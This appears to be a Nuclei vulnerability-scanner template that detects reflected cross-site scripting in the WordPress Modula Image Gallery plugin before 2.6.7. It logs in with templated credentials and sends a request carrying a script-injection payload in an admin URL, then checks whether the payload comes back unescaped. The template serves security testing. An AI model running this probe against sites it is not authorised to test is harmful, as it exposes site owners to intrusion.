modula-image-gallery-xss: WordPress Modula Image Gallery <2.6.7 - Cross-Site Scripting

id: modula-image-gallery-xss

info:
  name: WordPress Modula Image Gallery <2.6.7 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress Modula Image Gallery 2.6.7 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/ee248078-89ee-4cc0-b0fe-e932cd00db3e
    - https://wordpress.org/plugins/modula-best-grid-gallery
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 2
  tags: authenticated,wpscan,wp-plugin,xss,wp,wordpress,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/edit.php?post_type=modula-gallery&page=modula-addons&a"><script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '&a\"><script>alert(1)</script>&extensions='

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eec863759981ea76a4ae986b2285664ad69e8149c80a1a861dd92b7f99d2726a022051fc77fd42257536ee7dda0f77435f1591eab70ce9e775f37671c94a2d6a61a8:922c64590222798bb761d5b6d8e72950